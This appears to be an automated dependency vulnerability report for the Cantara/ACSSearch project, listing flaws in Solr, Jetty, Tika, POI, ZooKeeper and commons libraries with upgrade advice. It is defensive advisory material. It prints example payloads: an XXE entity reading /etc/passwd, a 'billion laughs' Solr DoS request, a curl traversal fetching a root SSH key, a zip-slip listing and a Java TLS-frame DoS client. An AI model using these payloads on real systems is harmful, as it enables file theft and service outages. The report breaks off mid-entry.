dom4j:dom4j is a flexible XML framework for Java. Note: this artifact has been deprecated for org.dom4j:dom4j.

Affected versions of this package are vulnerable to XML External Entity (XXE) Injection due to improper validation of the QName inputs.

Details

XXE Injection is a type of attack against an application that parses XML input. XML is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable. By default, many XML processors allow specification of an external entity, a URI that is dereferenced and evaluated during XML processing. When an XML document is being parsed, the parser can make a request and include the content at the specified URI inside of the XML document.

Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier.

For example, below is a sample XML document, containing an XML element- username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
   <username>John</username>
</xml>

An external XML entity - xxe, is defined using a system identifier and present within a DOCTYPE header. These entities can access local or remote content. For example the below code contains an external XML entity that would fetch the content of /etc/passwd and display it to the user rendered by username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
   <username>&xxe;</username>
</xml>

Other XXE Injection attacks can access local resources that may not stop returning data, possibly impacting application availability and leading to Denial of Service.

Remediation

There is no fixed version for dom4j:dom4j.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: org.apache.commons:commons-compress
  • Introduced through: org.apache.solr:solr-cell@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-cell@4.8.0 org.apache.commons:commons-compress@1.7
    Remediation: Upgrade to org.apache.solr:solr-cell@8.10.1.

Overview

org.apache.commons:commons-compress is an API for working with compression and archive formats.

Affected versions of this package are vulnerable to Denial of Service (DoS). When reading a specially crafted ZIP archive, Compress can be made to allocate large amounts of memory that finally leads to an out-of-memory error even for very small inputs. This could be used to mount a denial of service attack against services that use Compress' zip package.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade org.apache.commons:commons-compress to version 1.21 or higher.

References

high severity

Information Exposure

  • Vulnerable module: org.apache.hadoop:hadoop-hdfs
  • Introduced through: org.apache.solr:solr-core@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-core@4.8.0 org.apache.hadoop:hadoop-hdfs@2.2.0
    Remediation: Upgrade to org.apache.solr:solr-core@6.6.1.

Overview

http://hadoop.apache.org/ is the primary distributed storage used by Hadoop applications.

Affected versions of this package are vulnerable to Information Exposure. An attacker may retrive information about paths that they do not have permissions to see.

Remediation

Upgrade org.apache.hadoop:hadoop-hdfs to versions 2.7.4 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: org.apache.poi:poi
  • Introduced through: org.apache.solr:solr-cell@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-cell@4.8.0 org.apache.poi:poi@3.10-beta2
    Remediation: Upgrade to org.apache.solr:solr-cell@7.3.0.

Overview

org.apache.poi:poi is a java library for reading and writing Microsoft Office binary and OOXML file formats.

Affected versions of this package are vulnerable to Denial of Service (DoS) in two possible scenarios:

  • Infinite Loops while parsing crafted WMF, EMF, MSG and macros.
  • Out of Memory Exceptions while parsing crafted DOC, PPT and XLS.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade org.apache.poi:poi to version 3.17 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: org.apache.poi:poi-scratchpad
  • Introduced through: org.apache.solr:solr-cell@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-cell@4.8.0 org.apache.poi:poi-scratchpad@3.10-beta2
    Remediation: Upgrade to org.apache.solr:solr-cell@8.11.3.

Overview

org.apache.poi:poi-scratchpad is a Java API To Access Microsoft Format Files

Affected versions of this package are vulnerable to Denial of Service (DoS) via the parsing of a crafted TNEF file coming from an untrusted source, causing memory exhaustion.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade org.apache.poi:poi-scratchpad to version 5.2.1 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: org.apache.poi:poi-scratchpad
  • Introduced through: org.apache.solr:solr-cell@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-cell@4.8.0 org.apache.poi:poi-scratchpad@3.10-beta2
    Remediation: Upgrade to org.apache.solr:solr-cell@7.3.0.

Overview

org.apache.poi:poi-scratchpad is a Java API To Access Microsoft Format Files

Affected versions of this package are vulnerable to Denial of Service (DoS) in two possible scenarios:

  • Infinite Loops while parsing crafted WMF, EMF, MSG and macros.
  • Out of Memory Exceptions while parsing crafted DOC, PPT and XLS.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade org.apache.poi:poi-scratchpad to version 3.17 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: org.apache.solr:solr-core
  • Introduced through: org.apache.solr:solr-core@4.8.0, org.apache.solr:solr@4.8.0 and others

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-core@4.8.0
    Remediation: Upgrade to org.apache.solr:solr-core@5.0.0.
  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr@4.8.0 org.apache.solr:solr-core@4.8.0
  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-analysis-extras@4.8.0 org.apache.solr:solr-core@4.8.0
    Remediation: Upgrade to org.apache.solr:solr-analysis-extras@5.0.0.
  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-cell@4.8.0 org.apache.solr:solr-core@4.8.0
    Remediation: Upgrade to org.apache.solr:solr-cell@5.0.0.

Overview

org.apache.solr:solr-core is an open source enterprise search platform built on Apache Lucene

Affected versions of this package are vulnerable to Denial of Service (DoS) via the update handler. Exploiting this vulnerability is possible by leveraging XML DOCTYPE and ENTITY type elements when the attacker can create a pattern that will expand while the server parses the XML.

Mitigation

Ensure your network settings are configured so that only trusted traffic is allowed to post documents to the running Solr instances.

PoC

POST /solr/collection1/update?wt=json HTTP/1.1
Host: <TARGET_IP>:8983

<!DOCTYPE data [
<!ENTITY lol "lol">
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> 
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> 
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> 
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> 
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<add>
<doc>
<field name="id">&lol9;</field>
<field name="title">change.me</field>
</doc>
</add>

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade org.apache.solr:solr-core to version 5.0.0 or higher.

References

high severity

Directory Traversal

  • Vulnerable module: org.apache.solr:solr-core
  • Introduced through: org.apache.solr:solr-core@4.8.0, org.apache.solr:solr@4.8.0 and others

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-core@4.8.0
    Remediation: Upgrade to org.apache.solr:solr-core@5.5.4.
  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr@4.8.0 org.apache.solr:solr-core@4.8.0
  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-analysis-extras@4.8.0 org.apache.solr:solr-core@4.8.0
    Remediation: Upgrade to org.apache.solr:solr-analysis-extras@5.5.4.
  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-cell@4.8.0 org.apache.solr:solr-core@4.8.0
    Remediation: Upgrade to org.apache.solr:solr-cell@5.5.4.

Overview

org.apache.solr:solr-core is an open source enterprise search platform built on Apache Lucene.

Affected versions of this package are vulnerable to Directory Traversal attacks. The Index Replication feature supports an HTTP API, but does not validate the file_name parameter, which is supplied by the user. An attacker can craft a special request and read any file on the server.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

References

high severity

XML External Entity (XXE) Injection

  • Vulnerable module: org.apache.tika:tika-core
  • Introduced through: org.apache.solr:solr-cell@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-cell@4.8.0 org.apache.tika:tika-core@1.5
    Remediation: Upgrade to org.apache.solr:solr-cell@7.6.0.

Overview

org.apache.tika:tika-core is a toolkit for detecting and extracting metadata and structured text content from various documents using existing parser libraries.

Affected versions of this package are vulnerable to XML External Entity (XXE) Injection. The XML parsers were not configured to limit entity expansion.

Details

XXE Injection is a type of attack against an application that parses XML input. XML is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable. By default, many XML processors allow specification of an external entity, a URI that is dereferenced and evaluated during XML processing. When an XML document is being parsed, the parser can make a request and include the content at the specified URI inside of the XML document.

Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier.

For example, below is a sample XML document, containing an XML element- username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
   <username>John</username>
</xml>

An external XML entity - xxe, is defined using a system identifier and present within a DOCTYPE header. These entities can access local or remote content. For example the below code contains an external XML entity that would fetch the content of /etc/passwd and display it to the user rendered by username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
   <username>&xxe;</username>
</xml>

Other XXE Injection attacks can access local resources that may not stop returning data, possibly impacting application availability and leading to Denial of Service.

Remediation

Upgrade org.apache.tika:tika-core to version 1.19 or higher.

References

high severity

XML External Entity (XXE) Injection

  • Vulnerable module: org.apache.tika:tika-parsers
  • Introduced through: org.apache.solr:solr-cell@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-cell@4.8.0 org.apache.tika:tika-parsers@1.5
    Remediation: Upgrade to org.apache.solr:solr-cell@7.6.0.

Overview

org.apache.tika:tika-parsers is a toolkit for detecting and extracting metadata and structured text content from various documents using existing parser libraries.

Affected versions of this package are vulnerable to XML External Entity (XXE) Injection. The XML parsers were not configured to limit entity expansion.

Details

XXE Injection is a type of attack against an application that parses XML input. XML is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable. By default, many XML processors allow specification of an external entity, a URI that is dereferenced and evaluated during XML processing. When an XML document is being parsed, the parser can make a request and include the content at the specified URI inside of the XML document.

Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier.

For example, below is a sample XML document, containing an XML element- username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
   <username>John</username>
</xml>

An external XML entity - xxe, is defined using a system identifier and present within a DOCTYPE header. These entities can access local or remote content. For example the below code contains an external XML entity that would fetch the content of /etc/passwd and display it to the user rendered by username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
   <username>&xxe;</username>
</xml>

Other XXE Injection attacks can access local resources that may not stop returning data, possibly impacting application availability and leading to Denial of Service.

Remediation

Upgrade org.apache.tika:tika-parsers to version 1.19 or higher.

References

high severity

Authentication Bypass

  • Vulnerable module: org.apache.zookeeper:zookeeper
  • Introduced through: org.apache.solr:solr-solrj@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-solrj@4.8.0 org.apache.zookeeper:zookeeper@3.4.6
    Remediation: Upgrade to org.apache.solr:solr-solrj@6.6.0.

Overview

org.apache.zookeeper:zookeeper is a centralized service for maintaining configuration information, naming, providing distributed synchronization, and providing group services.

Affected versions of this package are vulnerable to Authentication Bypass. No authentication/authorization is enforced when a server attempts to join a quorum, as a result an arbitrary end point could join the cluster and begin propagating counterfeit changes to the leader.

Remediation

Upgrade org.apache.zookeeper:zookeeper to version 3.4.10, 3.5.4-beta or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: org.apache.zookeeper:zookeeper
  • Introduced through: org.apache.solr:solr-solrj@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-solrj@4.8.0 org.apache.zookeeper:zookeeper@3.4.6
    Remediation: Upgrade to org.apache.solr:solr-solrj@6.6.0.

Overview

org.apache.zookeeper:zookeeper is a centralized service for maintaining configuration information, naming, providing distributed synchronization, and providing group services.

Affected versions of this package are vulnerable to Denial of Service (DoS). Four letter zookeeper commands (such as wchp/wchc ) are not properly handled, which leads to the server unable to serve legitimate client requests.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade org.apache.zookeeper:zookeeper to version 3.4.10, 3.5.3-beta or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: org.eclipse.jetty:jetty-io
  • Introduced through: org.eclipse.jetty:jetty-server@8.1.15.v20140411 and org.eclipse.jetty:jetty-servlet@8.1.15.v20140411

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.eclipse.jetty:jetty-server@8.1.15.v20140411 org.eclipse.jetty:jetty-http@8.1.10.v20130312 org.eclipse.jetty:jetty-io@8.1.10.v20130312
    Remediation: Upgrade to org.eclipse.jetty:jetty-server@9.0.0.v20130308.
  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.eclipse.jetty:jetty-servlet@8.1.15.v20140411 org.eclipse.jetty:jetty-security@8.1.10.v20130312 org.eclipse.jetty:jetty-server@8.1.15.v20140411 org.eclipse.jetty:jetty-http@8.1.10.v20130312 org.eclipse.jetty:jetty-io@8.1.10.v20130312
    Remediation: Upgrade to org.eclipse.jetty:jetty-servlet@9.0.0.v20130308.

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS). CPU usage can reach 100% upon receiving a large invalid TLS frame.

PoC

// server 
public class MyServer {
    public static void startServer() throws Exception {
         SslContextFactory sslContextFactory = new SslContextFactory.Server();
         HttpConnectionFactory httpFactory = new HttpConnectionFactory();
         Server server = new Server();
         ServerConnector connector = new 
         ServerConnector(server,null,null,null,1,-1,AbstractConnectionFactory.getFactories(sslContextFactory ,httpFactory));
         connector.setPort(9988);
         connector.setHost("localhost");
         server.setConnectors(new Connector[]{connector});
         ServletContextHandler context = new ServletContextHandler();
         context.setContextPath("/");
         HandlerCollection handlerCollection= new HandlerCollection();
         handlerCollection.setHandlers(new Handler[]{context,new DefaultHandler()});
         server.setHandler(handlerCollection);
         server.start();
         server.join();
    }
     public static void main(String[] args) throws Exception {
        startServer();
     }
}



public class MyClient {
    // client 
    private static byte[] buildMessage() {
       byte[] bytes = new byte[20005];
       bytes[0] = 22;  // record type
       bytes[1] = 3;   // major version
       bytes[2] = 3;   // minor version
       bytes[3] = 78; // record length 2 bytes
       bytes[4] = 32;  // record length
    
       bytes[5] = 1; // message type
       bytes[6] = 0; // message length 3 bytes
       bytes[7] = 78;
       bytes[8] = 23;
      
      for( int i = 9; i < bytes.length; i++) {
          bytes[i] = 1;
      }
      return bytes;
    }
    
    public static void sendMessage() throws Exception {
        byte[] bytes = buildMessage();
        SocketFactory socketFactory = SocketFactory.getDefault();
        Socket socket = socketFactory.createSocket("localhost",9988);
        socket.getOutputStream().write(bytes);
        socket.close();
    }

    public static void main(String[] args) throws Exception {
        sendMessage();
    }
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade org.eclipse.jetty:jetty-io to version 9.4.39.v20210325, 10.0.2, 11.0.2 or higher.

References

high severity

Web Cache Poisoning

  • Vulnerable module: org.eclipse.jetty:jetty-server
  • Introduced through: org.eclipse.jetty:jetty-server@8.1.15.v20140411 and org.eclipse.jetty:jetty-servlet@8.1.15.v20140411

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.eclipse.jetty:jetty-server@8.1.15.v20140411
    Remediation: Upgrade to org.eclipse.jetty:jetty-server@9.3.24.v20180605.
  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.eclipse.jetty:jetty-servlet@8.1.15.v20140411 org.eclipse.jetty:jetty-security@8.1.10.v20130312 org.eclipse.jetty:jetty-server@8.1.15.v20140411
    Remediation: Upgrade to org.eclipse.jetty:jetty-servlet@9.3.24.v20180605.

Overview

org.eclipse.jetty:jetty-server is a lightweight highly scalable java based web server and servlet engine.

Affected versions of this package are vulnerable to Web Cache Poisoning. An HTTP/1 style request line (i.e. method space URI space version) that declares a version of HTTP/0.9 was accepted and treated as a 0.9 request. If deployed behind an intermediary that also accepted and passed through the 0.9 version, the response sent could be interpreted by the intermediary as HTTP/1 headers. This could be used to poison the cache if the server allowed the origin client to generate arbitrary content in the response.

Remediation

Upgrade org.eclipse.jetty:jetty-server to version 9.3.24.v20180605, 9.4.11.v20180605 or higher.

References

high severity

Timing Attack

  • Vulnerable module: org.eclipse.jetty:jetty-util
  • Introduced through: org.eclipse.jetty:jetty-server@8.1.15.v20140411 and org.eclipse.jetty:jetty-servlet@8.1.15.v20140411

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.eclipse.jetty:jetty-server@8.1.15.v20140411 org.eclipse.jetty:jetty-http@8.1.10.v20130312 org.eclipse.jetty:jetty-io@8.1.10.v20130312 org.eclipse.jetty:jetty-util@8.1.10.v20130312
    Remediation: Upgrade to org.eclipse.jetty:jetty-server@9.0.0.v20130308.
  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.eclipse.jetty:jetty-servlet@8.1.15.v20140411 org.eclipse.jetty:jetty-security@8.1.10.v20130312 org.eclipse.jetty:jetty-server@8.1.15.v20140411 org.eclipse.jetty:jetty-http@8.1.10.v20130312 org.eclipse.jetty:jetty-io@8.1.10.v20130312 org.eclipse.jetty:jetty-util@8.1.10.v20130312
    Remediation: Upgrade to org.eclipse.jetty:jetty-servlet@9.0.0.v20130308.

Overview

org.eclipse.jetty:jetty-util is a lightweight highly scalable java based web server and servlet engine.

Affected versions of this package are vulnerable to Timing Attacks. A flaw in the util/security/Password.java class makes it easier for remote attackers to obtain access by observing elapsed times before rejection of incorrect passwords.

Remediation

Upgrade org.eclipse.jetty:jetty-util to versions 9.2.22, 9.3.20, 9.4.6 or higher.

References

high severity

XML External Entity (XXE) Injection

  • Vulnerable module: dom4j:dom4j
  • Introduced through: org.apache.solr:solr-core@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-core@4.8.0 dom4j:dom4j@1.6.1

Overview

dom4j:dom4j is a flexible XML framework for Java. Note: this artifact has been deprecated for org.dom4j:dom4j.

Affected versions of this package are vulnerable to XML External Entity (XXE) Injection. By using the default SaxReader() provided by Dom4J, external DTDs and External Entities are allowed, resulting in a possible XXE.

Details

XXE Injection is a type of attack against an application that parses XML input. XML is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable. By default, many XML processors allow specification of an external entity, a URI that is dereferenced and evaluated during XML processing. When an XML document is being parsed, the parser can make a request and include the content at the specified URI inside of the XML document.

Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier.

For example, below is a sample XML document, containing an XML element- username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
   <username>John</username>
</xml>

An external XML entity - xxe, is defined using a system identifier and present within a DOCTYPE header. These entities can access local or remote content. For example the below code contains an external XML entity that would fetch the content of /etc/passwd and display it to the user rendered by username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
   <username>&xxe;</username>
</xml>

Other XXE Injection attacks can access local resources that may not stop returning data, possibly impacting application availability and leading to Denial of Service.

Remediation

There is no fixed version for dom4j:dom4j.

References

high severity

Arbitrary File Write

  • Vulnerable module: commons-fileupload:commons-fileupload
  • Introduced through: org.apache.solr:solr-core@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-core@4.8.0 commons-fileupload:commons-fileupload@1.2.1
    Remediation: Upgrade to org.apache.solr:solr-core@5.5.2.

Overview

commons-fileupload:commons-fileupload Affected versions of this package are vulnerable to Arbitrary File Write.

Details

The DiskFileItem class in Apache Commons FileUpload, as used in Red Hat JBoss BRMS 5.3.1; JBoss Portal 4.3 CP07, 5.2.2, and 6.0.0; and Red Hat JBoss Web Server 1.0.2 allows remote attackers to write to arbitrary files via a NULL byte in a file name in a serialized instance.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: commons-fileupload:commons-fileupload
  • Introduced through: org.apache.solr:solr-core@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-core@4.8.0 commons-fileupload:commons-fileupload@1.2.1
    Remediation: Upgrade to org.apache.solr:solr-core@5.5.2.

Overview

commons-fileupload:commons-fileupload Affected versions of this package are vulnerable to Denial of Service (DoS) attacks. An attacker may send a specially crafted Content-Type header that bypasses a loop's intended exit conditions, causing an infinite loop and high CPU consumption.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

References

high severity

Cryptographic Issues

  • Vulnerable module: org.apache.hadoop:hadoop-hdfs
